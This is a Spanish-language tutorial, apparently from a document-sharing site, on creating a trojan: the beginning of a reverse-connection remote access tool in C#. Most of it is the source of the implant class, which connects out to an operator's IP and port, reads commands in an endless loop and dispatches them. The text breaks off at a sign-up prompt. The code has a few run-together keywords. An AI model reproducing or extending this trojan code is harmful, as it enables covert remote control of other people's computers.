Creando Un Troyano En C
En este tuto voy a enseñar cómo crear el principio de un RAT de conexión inversa.
En mi caso usaré visual studio ultimate 2012 pero obviamente puede utilizar algún otro IDE.
***************Creando el Servidor*************
Crearemos un servidor muy simple que lo que hará será esperar a que el cliente se conecte esto será mediante un ciclo infinito con una pausa deltiempo que nosotros indiquemos
Abrimos vs y creamos un nuevo proyecto de winform, y dos clases con el nombre que queramos en mi caso el nombre dle proyecto es Server, clase Servidor y Utilidades:
Primero escribiremos la clase servidor
agregamos los NameSpaces que necesitamos, en este caso solo agregarémos 3:
Código:
using System.IO; //Streams
using System.Net.Sockets; //tcpclient
usingSystem.Threading; //Hilos
y nuestra clase quedará de la sig. manera:
Código:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO; //Streams
using System.Net; //IPAdress
using System.Net.Sockets; //tcpclient
using System.Threading; //Hilos
namespace Server
{
public class Servidor
{
//variables necesarias paraconectarnos al cliente de manera inversa, además de escuchar los mensajes de este
private string ip;
private int port;
private TcpClient tcpClient;
private NetworkStream ns;
private StreamReader sr;
private StreamWriter sw;
private StringBuilder sb;
public Servidor(string ip, int port)
{
this.ip = ip;
this.port = port;
}
private enum mensajes
{
CD,
Mensaje
}
public void iniciar(int tiempo)
{
EjecutarServidor();
Thread.Sleep(tiempo);
}
private void EjecutarServidor()
{
tcpClient = new TcpClient();
sb = new StringBuilder();
if (!tcpClient.Connected)
{
try
{
tcpClient.Connect(ip, port);
ns = tcpClient.GetStream();
sr = new StreamReader(ns);
sw = new StreamWriter(ns);
}
catch (Exception)
{
return;
}
for (; ; )
{
try
{
sb.Append(sr.ReadLine());
LeerDatos(sb.ToString());
sb.Remove(0, sb.Length);
}
catch (Exception)
{
limpiar();
break;
}
}
}//fin del if
}//fin del metodo EjecutarServidor
private void LeerDatos(string datos)
{
string[] cadena = datos.Split('$');
if (String.Compare(cadena[0], mensajes.Mensaje.ToString()) == 0)
{
Utilidades.mandarMensaje(cadena[1]);
}
}//fin de LeerDatos
privatevoid limpiar()
{
sr.Close();
sw.Close();
ns.Close();
}//fin de limpiar
}//fin clase servidor
}
Aquí he creado las variables que necesitamos para conectarnos al cliente, esto es la ip y el puerto (esto se hace en el constructor) ademas de un StreamReader que usaremos para escuchar los mensajes que el cliente escriba.
Usé una variable deltipo enum, esto es para validar los mensajes del cliente, esto lo hacemos de la sig forma:
si el cliente escribe por ejemplo "MandarMensaje" el servidor compara ese mensaje con el enum y si son iguales entonces va a realizar alguna tarea que escribamos en la clase Utilidades.
En el método iniciar hemos creado un bucle donde se ejecutará el método Ejecutar Servidor y ademas hará una pausa de x...
Regístrate para leer el documento completo.